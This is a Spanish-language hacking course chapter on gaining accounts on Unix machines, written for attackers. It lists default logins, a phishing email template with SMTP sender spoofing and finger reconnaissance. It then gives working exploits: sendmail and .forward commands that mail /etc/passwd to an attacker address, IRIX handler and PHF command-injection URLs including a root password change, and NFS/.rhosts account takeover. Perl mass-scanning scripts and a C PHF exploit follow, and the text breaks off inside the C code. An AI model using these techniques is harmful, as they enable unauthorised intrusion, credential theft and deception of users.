Capitulos de este wiki

Inicio

1 Introducción
2 Glosario
3 Buscando la maquina objetivo y algo sobre unix orientado al hacking
4 Introduccion a distintos sistemas
5 Conseguir una cuenta
6 Salir de shell restringida
7 Crackear passwords en maquinas unix
8 Hackear con condon (o gateway)
9 Borrar huellas
10 Preservar el acceso y poner sniffers
11 Legalidad

Curso de Hacking Avanzado - Conseguir una cuenta

5 - Conseguir una cuenta

Una cuenta puede ser el primer paso para poder entrar en un sistema (aunque hay bugs que te dan directamente una cuenta e incluso la de rOOt, pero eso es caso aparte) por lo que en este capitulo se vera como conseguir una cuenta.

Hay muchiiiiisimos metodos para conseguir una cuenta pero aqui se van a contar los siguientes:

1.- Cuentas por defecto

2.- Ingenieria social

3.- Conseguir fichero passwd de manera remota con algun bug

4.- Conseguir directamente una cuenta con un bug

5.- PHF

6.- Xploits que te dan una shell remota

7.- Otros metodos

**Cuentas por defecto**

Este es un metodo de locos y solo lo has de usar si vas muy perdido o si estas muy desesperado ya que raras veces funcionan. Sinceramente, yo no las he comprobado ya que nunca uso este metodo por lo que agradeceria vuestras rectificaciones para posteriores ediciones del texto. Incluso hay sistemas operativos muy raros que no se si seran viejos pero yo las incluyo todos por si a alguien les sirven de algo. En posteriores ediciones ya se hara un filtrado :o)

Aqui estan para varios sistemas:

//**Cuentas defaults en general: **//

//**adm **//

//**admin **//

//**ann **//

//**anon **//

//**anonymous/anonymous **//

//**backup **//

//**batch **//

//**bin **//

//**checkfsys **//

//**daemon **//

//**demo **//

//**diag **//

//**field **//

//**ftp **//

//**games **//

//**guest/guest **//

//**guest/anonymous **//

//**help **//

//**install **//

//**listen **//

//**lp **//

//**lpadmin **//

//**maint **//

//**makefsys **//

//**mountfsys **//

//**network **//

//**news **//

//**nobody **//

//**nuucp **//

//**nuucpa **//

//**operator **//

//**powerdown **//

//**printer **//

//**pub **//

//**public **//

//**reboot **//

//**rje **//

//**rlogin **//

//**root **//

//**sa **//

//**setup **//

//**shutdown **//

//**startup **//

//**sync **//

//**sys/sys **//

//**sysadm **//

//**sysadmin **//

//**sysbin/sysbin sysbin/bin **//

//**sysman **//

//**system **//

//**tech **//

//**test **//

//**trouble **//

//**tty **//

//**umountfsys **//

//**user/user user1/user1 **//

//**uucp **//

//**uucpa **//

//**visitor **//

//**root/root **//

//**root/system **//

//**sys/sys **//

//**sys/system **//

//**daemon/daemon **//

//**uucp/uucp **//

//**tty/tty **//

//**test/test **//

//**unix/unix **//

//**unix/test **//

//**bin/bin **//

//**adm/adm **//

//**adm/admin **//

//**admin/adm **//

//**admin/admin **//

//**sysman/sysman **//

//**sysman/sys **//

//**sysman/system **//

//**sysadmin/sysadmin **//

//**sysadmin/sys **//

//**sysadmin/system **//

//**sysadmin/admin **//

//**sysadmin/adm **//

//**who/who **//

//**learn/learn **//

//**uuhost/uuhost **//

//**guest/guest **//

//**host/host **//

//**nuucp/nuucp **//

//**rje/rje **//

//**games/games **//

//**games/player **//

//**sysop/sysop **//

//**root/sysop **//

//**demo/demo **//

//**decnet/ddennet **//

//**guest/friend **//

//**field/service **//

//**guest/welcome **//

//**system/manager **//

//**default/user **//

//**decnet/nonpriv **//

//**field/digital **//

//**field/test **//

//**postmaster/mail **//

//**sysmaint/service **//

//**sysmaint/digital **//

//**system/operator **//

//**system/manager **//

//**system/syslib **//

//**system/uetp **//

//**systest_clig/systest **//

//**userp/user **//

//**sysadmin/admin **//

//**daemon/daemon **//

//**sysbin/sysbin **//

//**AIX **//

//**guest guest **//

//**DECserver **//

//**Access **//

//**System **//

//**VMS **//

//**autolog1/autolog o autolog1 **//

//**cms/cms **//

//**cmsbatch/cms o cmsbatch **//

//**erep/erep **//

//**maint/maint o maintain **//

//**operatns/operatns o operator **//

//**operator/operator **//

//**rscs/rscs **//

//**smart/smart **//

//**sna/sna **//

//**vmtest/vmtest **//

//**vmutil/vmutil **//

//**vtam/vtam **//

//**field/service **//

//**systest/utep **//

//**systest_clig/systest **//

//**systest_clig/uetp **//

//**PRIME **//

//**Prime/prime **//

//**Prime/primos **//

//**Primos/primos **//

//**Primos/prime **//

//**primos_cs/prime **//

//**primos_cs/primos **//

//**primenet/primenet **//

//**system/system **//

//**system/prime **//

//**system/primos **//

//**netlink/netlink **//

//**test/test **//

//**guest/guest **//

//**guest1/guest **//

//**DEC10 **//

//**1,2: SYSLIB or OPERATOR or MANAGER **//

//**2,7: MAINTAIN **//

//**5,30: GAMES **//

//**SGI Irix **//

//**4DGifts **//

//**guest **//

//**demos **//

//**lp **//

//**nuucp **//

//**tour **//

//**tutor **//

//**accounting **//

//**boss **//

//**demo **//

//**manager **//

//**pdp8 **//

//**pdp11 **//

//**software**//

**INGENIERIA SOCIAL**

Bien, este no es un metodo de hack en el sentido que todos pensais... no tiene nada que ver con informatica ni con ordenadores ni tcp/ip ni unix ni nada de eso sino que simplemente consiste en ser un poco picaro ;o).

La ingenieria social se basa en que hay mucha gente por ahi que tiene una cuenta (tanto de un proveedor de internet como una shell) y que no esta muy alerta jeje. En fin, como os comento hay varios metodos para obtener cuentas usando ingenieria social, aqui simplemente cuento algunos para que os hagais una idea pero cada uno que piense y su imaginacion le dara algunos truquillos mas.

En fin, el metodo e-mail es el mas importante por el que sera el que mas desarrollaremos en este texto aunque tambien se podria hacer por telefono. La idea es sencilla.. enviar un mail (anonimo) a alguien para que te de el login y el password. Parece dificil que traguen, no?.. pues os puedo asegurar que no lo es. }-)

Simplemente envia un mail de este estilo:

//**Estimado señor Lopez: (Importante conocer la identidad de la persona para darle mas confianza) **//

//**El objeto de este correo electronico es comunicarle que debido a mantener la seguridad de nuestro sistema victima.com, se requiere que envie un mail con sus datos personales y su login y su password ya que en nuestro sistema es muy importante la seguridad y deseamos mantenerla con estos chequeos rutinarios. **//

//**Agradeciendo su atencion se despide **//

//**Pepito Rodriguez pepito@victima.com **//

//**Administrador del sistema victima.com**//

Para enviar un mail para falsear el remitente, lo que se debe hacer es hacer un telnet a una maquina unix que tenga el puerto 25 abierto y dar los siguientes pasos:

Lo primero que se ha de hacer es un telnet maquinacon25.com 25, cuando te diga que ya estas conectado, has de hacer:

helo ingenieria@social.com &gt;pleased to meet ingenieria@social.com

Tras esto has de decir quien quieres que aparezca como remitente con el comando mail from:

mail from: ingenieria@social.com

&gt; ingenieria@social.com... Sender is valid.

Si sale esto, todo va bien.. por lo que tendras que indicar quien es el destinatario usando el comando rcpt

rcpt to: bill@gates.com

&gt; "bill@gates.com"... Recipient okay

Tras esto, lo que se ha de hacer es indicar el mensaje en si con el comando data y cuando quieras acabar pones un . en una linea.. algo asi:

data

&gt; Enter mail, end with "." on a line by itself

Hola Bill

&gt; Mail accepted

Con esto el mensaje ya esta enviado, y para cerrar la conexion has de usar quit.

&gt; connection is closed.

En realidad con esto no se consigue un mail anonimo sino que lo que consigues es especificar el remitente que tu quieres. Para enviar mail anonimo has de usar servidores de correo anonimo o hacer este mensaje enlazando unos mails con otros.

Para saber si un servidor es anonimo has de hacer:

HELO servidor@anonimo.com

Y si cuando el servidor responde no aparece tu IP por ningun lado, entonces es un servidor anonimo o pseudoanonimo.

Este texto puede estar mucho mas elaborado.. pero ya os servira para ver la idea y creedme este metodo funciona y por otro lado no es complicado de hacer ;o)

La pregunta ahora es... como sabemos los telefonos o los mails de la gente de victima.com???. Bien, hay varias respuestas.. muchas veces por casualidad (un vecino, un compañero de clase, etc), otras pasandotelas otro hacker ( a saber de donde vendran ¡!) y algunos metodos mas entre los que destacaria el finger. El finger es el puerto 79 y si el host victima.com lo tiene abierto, simplemente telnetealo y usando finger –l @victima.com sacaras informacion sobre la gente que esta concectada a victima.com asi como otra informacion interesante como su email. Luego puedes ir probando con finger –l nombre_usuario@victima.com con lo que obtendras aun mas informacion del sistema.

Tambien se puede hacer finger root@victima.com , guest@victima.com, etc con lo que obtendras informacion sobre ellos aunque no esten conectados.

Tambien se ha de tener en cuenta que a veces el puerto 79 esta abierto pero no te da informacion. Esto puede ser porque esta usando tcp-wrappers, pero eso es tema aparte, simplemente lo comento para que sepais que os puede pasar.

Este metodo, y usando este script, os puede hacer conseguir muchos passwords pero hay que currarselo mucho :o(. Obviamente, solo pensando un poco se te pueden ocurrir muchas mas maneras de aprovechar el finger ya que da bastante informacion sobre los usuarios aunque esta informacion cuando es realmente util es combinada con otros sistemas de ataque :)

Hay muchos mas sistemas de ingenieria social como la chica necesitada de ayuda en el irc y cosas parecidas, pero tampoco creo que valga demasiado la pena explicarlo mas. Ademas, como en todos estos temas, el unico limite es tu imaginacion :o)

Como es pesado buscar manualmente, puedes buscar maquinas con finger usando un script hecho en shell y usando listas de hosts como las que se explicaran en el apartado de nfs.

Ademas, para los que veais que este metodo es un poco coñazo, el script este siempre es util ya que tened en cuenta que las maquinas que tengan el finger abierto son maquinas que no estan muy concienciadas por la seguridad no?.. jeje.. mejor no sigo dando ideas :o) aunque tened en cuenta que esto no siempre sera cierto ya que es posible que usen los tcp-wrappers.

**Nota:** El tcp-wrapper es un programa que permite filtrar ip por los distintos puertos e indicar que demonio o programa se ejecuta en cada uno de los puertos por lo que podeis ver todas las aplicaciones maleficas que pueden conseguir los roots usando este tipo de programas por lo que cuidado ahi fuera.

**CONSEGUIR FICHERO DE PASSWD A TRAVES DE ALGUN BUG**

En fin, hay muchos bugs y xploits que te permiten el acceso al fichero de passwd pero aqui voy a exponer algunos que aunque son antiguos son bastante ilustrativos (para pillar xploits nuevos, a buscar por la red ke hay muchos.. de todos modos, en los apartados de pillar root, pondre xploits modernos y que funcionan ;o).. estos los he elegido aunque sean un poco antiguos porque son bastante ilustrativos:

Sistemas: Unix's en general, espacialmente AIX y SUNOS

Versiones: Sendmail, versiones anteriores a la 5.57 que no esten parcheadas

tumaquina% telnet victima.com 25

Trying X.Y.Z.A...

Connected to victima.com

Escape character is '^]'.

220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

mail from: "|/bin/mail tu_direccion@de_correo.com &lt; /etc/passwd"

250 "|/bin/mail tu_direccion@de_correo.com &lt; /etc/passwd"... Sender ok

rcpt to: loquequieras

550 loquequieras... User unknown

data

354 Enter mail, end with "." on a line by itself

250 Mail accepted

quit

Connection closed by foreign host.

**Notas:**

-victima.com = nombre del ordenador a hackear

-mimaquina = nombre de nuestro ordenador

-Lo que aparece con un numero delante son mensajes de nuestra victima,

el resto es lo que tienes que escribir.

La idea de este bug, es que usualmente, en el sendmail en la linea de mail from: pondrias pepe@uno.es , pero sin embargo, y la gracia esta aqui, le dices que te mande el fichero /etc/passwd. Pero os digo una cosa sinceramente, este bug no funciona casi nunca, y si funciona, felicidades , estas en una maquina que el rOOt no tiene ni puta idea,

**Como conseguir el fichero /etc/passwd si el ftp esta mal configurado**

La victima debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo -ftp/etc en vez de una version reducida. Sin embargo, puedes ver que normalmente nunca aparece el fichero verdadero :( , pero el home directory de "ftp" puede ser escribible en victim.com. Esto te permite ejecutar comandos remotamente - en este caso, mandarte el archivo por mail a ti mismo - por el simple metodo de crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la cuenta "ftp".

//**evil % cat forward_sucker_file **//

//**"|/bin/mail zen@evil.com &lt; /etc/passwd" **//

//**evil % ftp victim.com **//

//**Connected to victim.com **//

//**220 victim FTP server ready. **//

//**Name (victim.com:zen): ftp **//

//**331 Guest login ok, send ident as password. **//

//**Password: **//

//**230 Guest login ok, access restrictions apply. **//

//**ftp&gt; ls -lga **//

//**200 PORT command successful. **//

//**150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). **//

//**total 5 **//

//**drwxr-xr-x 4 101 1 512 Jun 20 1991 . **//

//**drwxr-xr-x 4 101 1 512 Jun 20 1991 .. **//

//**drwxr-xr-x 2 0 1 512 Jun 20 1991 bin **//

//**drwxr-xr-x 2 0 1 512 Jun 20 1991 etc **//

//**drwxr-xr-x 3 101 1 512 Aug 22 1991 pub **//

//**226 ASCII Transfer complete. **//

//**242 bytes received in 0.066 seconds (3.6 Kbytes/s) **//

//**ftp&gt; put forward_sucker_file .forward **//

//**43 bytes sent in 0.0015 seconds (28 Kbytes/s) **//

//**ftp&gt; quit **//

//**evil % echo test | mail ftp@victim.com **//

Ahora simplemente tienes que esperar a que el fichero de passwords te sea enviado.

Ejecutar comandos de manera remota en Irix con cgi-bin/handler

El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura de ficheros. Sin embargo existe un bug que da paso a la ejecucion remota de comandos. El sistema intentara abrir el fichero (taluego_Lucas) y si no existe dara un mensaje de error para a continuacion -ejecutar el comando que sigue. Muy importante, el espacio entre el comando cat y su argumento es un *tabulador* (TAB), no se admiten espacios asi que aunque podeis poner otro comando que no sea cat no podreis poner ningun comando que requiera espacios.

//**$ telnet victima.com 80 **//

//**$ GET /cgi-bin/handler/taluego_Lucas;cat /etc/passwd|?data=Download **//

//**$ HTTP/1.0 **//

//**En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio fue que el **//

//**formato del bug pase a ser: **//

//**$telnet victima.com 80 **//

//**$GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download **//

//**$HTTP/1.0 **//

Con un nuevo TAB para "engañar" al script PERL.

Hay muchos mas, pero no me apetece seguir buscando.. quiza para posteriores ediciones...ademas en esta categoria tambien entra el PHF que esta explicado mas adelante.

**MOUNT **

Este no es un bug, sino un defecto de configuracion del NFS. Aqui voy a intentar explicarlo extensamente para que sepais lo que estais haciendo:

El NFS (Network File System) es un sistema de red que permite que una maquina servidor pueda hacer disponibles sistemas de archivos y dispositivos perifericos a maquinas clientes. Asi, la maquina cliente podra montar esos directorios pudiendolos usar como si los poseyera.

Otra cosa muy distinta es lo que se pueda hacer con los ficheros incluidos en dichos directorios (si se pueden borrar, modificar, alterar los permisos, etc), lo cual depende de la configuracion del NFS. En realidad, no es dificil configurar el NFS para que no pueda haber problemas de seguridad, usando las opciones ro y rw en la

configuracion que indican que clientes tienen acceso de lectura y escritura respectivamente. Por tanto, los problemas aparecen cuando no han sido utlidas estas opciones correctamente y cualquier usuario remoto puede leer y escribir... gracias a dios hay root que dan facilidades :o)

Mount es el comando en unix que permite montar archivos en tu maquina para conseguir el objetivo expuesto anteriormente.

Para ver si una maquina remota con NFS tiene files montables se hace siendo root en la maquina donde estas usando el comando showmount. Este comando se utiliza para determinar que sistema ha montado un sistema de archivos desde un sistema dado. Con el parametro –a muestra todos los sistemas de archivos que se han montado desde el nodo servidor mientras que el comando –e muestra la lista de todos los sistemas de archivos exportados.

Como root, has de ejecutar en tu maquina:

//**$root&gt; showmount –e hostvictima.com **//

//**mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive **//

//**Si la respuesta es algo de este estilo... quiere decir que no ha habido suerte :o( **//

//**$root&gt; showmount -e otra.net **//

//**Export list for otra.net: **//

//**/var/mail makina1.otra.net **//

//**/home/user1 makina1.otra.net **//

//**/usr/local pluto.seva.net,rover.seva.net **//

//**/export/X11R6.3 makina2.otra.net **//

//**/export/rover makina1.otra.net,makina2.otra.net **//

En esta maquina no hay accesos del tipo everyone que sean interesantes :o( .. bueno con otras tecnicas mas avanzadas si.. pero no son el objeto de este texto ;o)

Seguimos buscando hasta que encontremos una maquina victim.com que nos ponga algo del tipo

**///home (everyone)//**

//**/ (everyone)**//

BINGO!!!!!

Una vez pillemos una makina de estas caracteristicas, se pueden hacer muchas cosas pero voy a explicar el metodo tipico expuesto en los textos de hacking aunque pensando un poko se te pueden okurrir otros :)

Lo que vamos a hacer es crear una cuenta rapper (rapper es el nombre de un usuario de la maquina remota.. para cada caso sera uno distinto) en nuestro fichero de passwd local ( es decir, el de nuestra maquina) y luego como usuario rapper ( cambiamos a ese usuario con el su) pondremos una entra .rhosts en su directorio home para poder hacer un rlogin sin password.

Primero, creamos el directorio donde lo vamos a montar

mimaquina:~&gt;mkdir /tmp/mount

mimaquina:~&gt;mount -nt nfs victim.com:/home /tmp/mount/

y con esto ya tendremos montado el directorio de la maquina remota en nuestra maquina local con lo que haciendo un ls en /tmp/mount veremos todos sus archivos :o)

**//mimaquina:~&gt;ls -lsa /tmp/mount/ //**

**//total 9 //**

**//1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ //**

**//1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ //**

**//1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ //**

**//1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ //**

**//1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ //**

**//1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ //**

**//1 -rw------- 1 root root 242 Mar 9 1997 sudoers //**

**//1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ //**

**//1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper///**

Vemos que hay un usuario llamado rapper cuyo UID (User Identification) es 102 por lo que lo tendremos que incluir en el /etc/passwd de nuestra maquina:

mimaquina:~&gt;echo "rapper::102:2::/tmp/mount:/bin/csh" &gt;&gt; /etc/passwd

mimaquina:~&gt;su - rapper

Welcome to rapper's user.

//**mimaquina:~&gt;ls -lsa /tmp/mount/ **//

//**total 9 **//

//**1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ **//

//**1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ **//

//**1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ **//

//**1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ **//

//**1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ **//

//**1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ **//

//**1 -rw------- 1 root root 242 Mar 9 1997 sudoers **//

//**1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ **//

//**1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/**//

Asi, poseemos el directorio de rapper por lo que podemos usar las propiedades del .rhosts ( escribimos + + en su .rhosts y luego hacemos un rlogin):

//**mimaquina:~&gt;echo "+ +" &gt; rapper/.rhosts **//

//**mimaquina:~&gt;cd / **//

//**mimaquina:~&gt;rlogin –l rapper victima.com **//

//**Welcome to Victima.Com. **//

//**SunOs ver....(crap). **//

//**victima:~$ **//

y ya tienes una cuenta en el sistema ¡!

Para desmontar el archivo, sal de este directorio y ejecuta:

mimaquina:~&gt; umount /tmp/mount

Tened en cuenta que para este metodo, hemos de tener acceso a la maquina por rlogin, asi que si no es el caso, este metodo tambien admite otras posibilidades pero eso se deja para otro texto :)

Como lo mas coñazo de este metodo es buscar maquinas con ficheros exportables, a continuacion expongo un script escrito por Invisble Evil en perl que te permite buscar automaticamente. Para usarlo previamente se han de conseguir listas de maquinas que se pueden obtener usando el host –l nombredominio &gt; salida y luego usando un script para obtener los ip del fichero salida o se pueden obtener listas de maquinas que hay en internic (se obtienen por ftp de rs.internic.net) y que son listas de maquinas con esa extension:

//com.zone.gz //

//edu.zone.gz //

//gov.zone.gz //

//mil.zone.gz //

//net.zone.gz //

//org.zone.gz //

cuando tengas estos files bajados y tras hacer un gunzip, tendras que ejecutar el script en perl:

"perl getdomain.pl com.zone com &gt;com.all"

perl getdomain.pl edu.zone edu &gt;edu.all

Y asi con todos, obteniendo ficheros com.all, edu.all y sucesivamente donde tendras la lista de maquinas.

//**getdomain.pl **//

//**---- cut here **//

//**#!/usr/bin/perl **//

//**# GetDomain By Nfin8 / Invisible Evil **//

//**20 **//

//**# Questions /msg i-e or /msg i^e **//

//**# **//

//**# Retrieve command line arguments. **//

//**my($inputfile, $domain) = @ARGV; **//

//**usage() if (!defined($inputfile) || !defined($domain)); **//

//**# Open and preprocess the input file. **//

//**open(INFILE, "&lt;$inputfile") or die("Cannot open file $inputfile for reading!\n"); **//

//**my(@lines) = &lt;INFILE&gt;; **//

//**# Initialize main data structure. **//

//**my(%hash) = {}; **//

//**my($key) = ""; **//

//**foreach (@lines) { **//

//**$key = (split(/\ /))[0]; **//

//**chop($key); **//

//**next if ((($key =~ tr/.//) &lt; 1) || **//

//**(uc($domain) ne uc(((split(/\./, $key))[-1]))) || **//

//**($key =~ m/root-server/i)); **//

//**$hash{$key}++; **//

//**} **//

//**# Close input file and output data structure to STDOUT. **//

//**close(INFILE); **//

//**foreach (sort(keys(%hash))) { **//

//**print "$_\n"; **//

//**} **//

//**sub usage { **//

//**print("\n\ngetdomain:\n"); **//

//**print("Usage: getdomain [inputfile] [search]\n\n"); **//

//**print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n"); **//

//**exit(0); **//

//**} **//

//**0; **//

//**---- cut here - end of script ----- **//

Tras obtener la lista de maquinas usando el anterior script (edu.all, com.all, etc..), se ha de usar el script que se expone a continuacion para obtener los resultados del showmount –e:

En cada dominio, este script busca si hay discos montables y guarda la info en el directorio actual en ficheros llamados domain.XXX.export... asi solo tienes que ver estos logs y mirar si ha habido suerte !!!!

//**--------------- start of cmount.pl **//

//**#/usr/bin/perl -w **//

//**# **//

//**# Check NFS exports of hosts listed in file. **//

//**# (Hosts are listed, once per line with no additional whitespaces.) **//

//**# **//

//**# ii@dormroom.pyro.net - 2/27/97. **//

//**# Assign null list to @URLs which will be added to later. **//

//**my(@result) = (); **//

//**my(@domains) = (); **//

//**my($program) = "showmount -e "; **//

//**# Pull off filename from commandline. If it isn't defined, then assign default. **//

//**my($DomainFilename) = shift; **//

//**21 **//

//**$DomainFilename = "domains" if !defined($DomainFilename); **//

//**# Do checking on input. **//

//**die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename); **//

//**# Open $DomainFilename. **//

//**open(DOMAINFILE, $DomainFilename) or **//

//**die("mountDomains: Cannot open $DomainFilename for input.\n"); **//

//**while (&lt;DOMAINFILE&gt;) { **//

//**chomp($_); **//

//**print "Now checking: $_"; **//

//**# Note difference in program output capture from "geturl.pl". **//

//**open (EXECFILE, "$program $_ |"); **//

//**@execResult = &lt;EXECFILE&gt;; **//

//**next if (!defined($execResult[0])); **//

//**if ($execResult[0] =~ /^Export/) { **//

//**print " - Export list saved."; **//

//**open (OUTFILE, "&gt;$_.export"); **//

//**foreach (@execResult) { **//

//**print OUTFILE; **//

//**} **//

//**close (OUTFILE); **//

//**} **//

//**close(EXECFILE); **//

//**print "\n"; **//

//**} **//

//**# We are done. Close all files and end the program. **//

//**close (DOMAINFILE); **//

//**0; **//

//**----------------- end of cmount.pl **//

Una nota final a todo este coñazo, lo pongo aqui para que solo lo lean los que se leen los textos enteros (jeje) es que /export/foo es el home directory del usuario guest por lo que aunque no nos dejen exportar el directorio /home, en caso de que nos dejen exportar el directorio /export, se podra aplicar este mismo metodo pero teniendo en cuenta de que en lugar de usar el usuario rapper se usara el usuario guest

suerte ahi fuera......

**PHF**

Este sistema es antiguo y ampliamente conocido por todo el mundo, pero aunque parezca mentira sigue funcionando y por ello lo expongo en este texto.

El phf es un fichero que se encuentra en el directorio /cgi-bin de maquinas unix que ofrezcan este servicio y sirve para buscar direcciones, pero habilmente utilizado puede servir para ejecutar comandos remotos sobre dicha maquina pero no se pueden usar pipes, quotes, etc. En este texto nos vamos a centrar en su uso para la obtencion del fichero passwd de un sistema aunque pensando un poco se le pueden dar otras aplicaciones bastante interesantes ya que te permite ejecutar comandos en la maquina victima.

Vamos a empezar comentando el uso mas extendido para luego dar otras ayudas para su uso asi como otras aplicaciones:

Asi, escribe en tu navegador:

**http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd**

1.- El site que quieras atacar.

2.- El comando phf.

3.- Aqui es donde esta el secreto.

4.- El programa que quieres que se ejecute.

5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.

6.- Y pues aqui va el archivo o directorio que quieres ver.

Tras ejecutar este xploit, pueden suceder varias cosas:

1.- Que no se encuentre el archivo phf, porque los administradores que son un poco mas listos han desactivado esta opcion o que sea astuto y un poco borde y te mande algun nuke al intentarlo .. todo no iba a ser bonito ¡!! :o( Esto pasa en algunas maquinas sobre todo si son de hackers :o)

2.- Que te salga el archivo, pero los password no estan de la manera habitual. Entonces, pueden pasar dos cosas, que este shadow o que este el NIS instalado. Si estamos en el segundo caso, se puede identificar porque en la ultima linea del fichero tiene una cadena parecida a esta "+::0:0:::" Si NO TE SALE, intenta poner en la linea del navegador, en vez de /etc/passwd pues /etc/shadow u otro archivo dependiendo del sistema ( si el httpd rula como root). Si TE SALE la cadena "+::0:0:::" estas de suerte, porque eso indica que tiene activado el sistema de archivos NIS, y por lo cual posiblemente funcione el comando "ypcat" para leer el passwd. La linea seria la siguiente:

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

Con esto te saldran todas las cuentas sin sombrear, o sea lo que quiere decir que puedes crackear el fichero passwd

Si todo sale bien el resultado sera del tipo:

//**QUERY RESULTS **//

//**/usr/local/bin/ph -m alias=x cat /etc/passwd **//

//**root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash **//

//**bin:*:1:1:bin:/bin: **//

//**daemon:*:2:2:daemon:/sbin: **//

//**adm:*:3:4:adm:/var/adm: **//

//**lp:*:4:7:lp:/var/spool/lpd: **//

//**sync:*:5:0:sync:/sbin:/bin/sync **//

//**shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown **//

//**halt:*:7:0:halt:/sbin:/sbin/halt **//

//**mail:*:8:12:mail:/var/spool/mail: **//

//**news:*:9:13:news:/usr/lib/news: **//

//**uucp:*:10:14:uucp:/var/spool/uucppublic: **//

//**operator:*:11:0:operator:/root:/bin/bash **//

//**games:*:12:100:games:/usr/games: **//

//**man:*:13:15:man:/usr/man: **//

//**postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash **//

//**nobody:*:-2:100:nobody:/dev/null: **//

//**ftp:*:404:1::/home/ftp:/bin/bash **//

//**guest:*:405:100:guest:/dev/null:/dev/null **//

//**bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash **//

//**web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash **//

//**mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash **//

Y una vez tienes este texto en la pantalla de tu navegador, solo tienes que hacer un guardar como.

Pero el PHF te da muchas mas posibilidades, ya que si el server esta corriendo su httpd server como root, se puede obtener el acceso de root.

Usando

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id

Usamos el id para conocer la identificacion del user. Recuerda que el root es id=0 aunque lo usual es que corra bajo nobody y te saldria algo de este tipo:

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

Si en lugar de correr como usuario nobody, corriese como root, podriamos usar comandos como root, interesante no??

__ __

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd

Estos dos ya han sido explicados anteriormente. El que muestro a continuacion podria ser util para ver todos los ficheros del directorio /etc que empiezan con la palabra pass.

http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pass*

Los tres comandos anteriores funcionaran aunque no corra como root, pero para los siguientes si que es necesario el root, pero son los mas interesantes:

Cambiar el password del root (no funciona mucho pero si a veces):

http://www.victima.com/cgi-bin/phf?Qalias=x%0apasswd%20root

Ademas, hay que pensar que una makina kon phf y ke el httpd rule komo root es practicamente como si tuviesemos una cuenta de root en la maquina, asi que ya sabeis........ kreo ke sobran los komentarios no? }-)

Bien, todo lo que he contado es suponiendo que usais el navegador como el Netscape para el ventanukos o usar el Netscape o lynx para linux, pero adjunto un programa para que podais usar comandos para el phf desde el shell que es mas comodo y ademas si usais una maquina de condon, no teneis que depender de si esa maquina tiene navegadores o no.

En fin, el codigo es el siguiente:

//**/* Some small changes for efficiency by snocrash. */ **//

//**/* **//

//*** cgi-bin phf exploit by loxsmith [xf] **//

//*** **//

//*** I wrote this in C because not every system is going to have lynx. Also, **//

//*** this saves the time it usually takes to remember the syntatical format **//

//*** of the exploit. Because of the host lookup mess, this will take **//

//*** approximately 12 seconds to execute with average network load. Be patient. **//

//*** **//

//***/ **//

//**#include &lt;stdio.h&gt; **//

//**#include &lt;string.h&gt; **//

//**#include &lt;sys/types.h&gt; **//

//**#include &lt;sys/socket.h&gt; **//

//**#include &lt;netinet/in.h&gt; **//

//**#include &lt;netdb.h&gt; **//

//**#include &lt;errno.h&gt; **//

//**int main(argc, argv) **//

//**int argc; **//

//**char **argv; **//

//**{ **//

//**int i = 0, s, port, bytes = 128; **//

//**24 **//

//**char exploit[0xff], buffer[128], hostname[256], *command, j[2]; **//

//**struct sockaddr_in sin; **//

//**struct hostent *he; **//

//**if (argc != 3 &amp;&amp; argc != 4) { **//

//**fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); **//

//**exit(1); **//

//**} **//

//**command = (char *)malloc(strlen(argv[1]) * 2); **//

//**while (argv[1][i] != '\0') { **//

//**if (argv[1][i] == 32) strcat(command, "%20"); else { **//

//**sprintf(j, "%c", argv[1][i]); **//

//**strcat(command, j); **//

//**} **//

//**++i; **//

//**} **//

//**strcpy(hostname, argv[2]); **//

//**if (argc == 4) port = atoi(argv[3]); else port = 80; **//

//**if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { **//

//**he = gethostbyname(hostname); **//

//**if (he) { **//

//**sin.sin_family = he-&gt;h_addrtype; **//

//**memcpy((caddr_t) &amp;sin.sin_addr, he-&gt;h_addr_list[0], **//

//**he-&gt;h_length); **//

//**} else { **//

//**fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); **//

//**exit(1); **//

//**} **//

//**sin.sin_family = AF_INET; **//

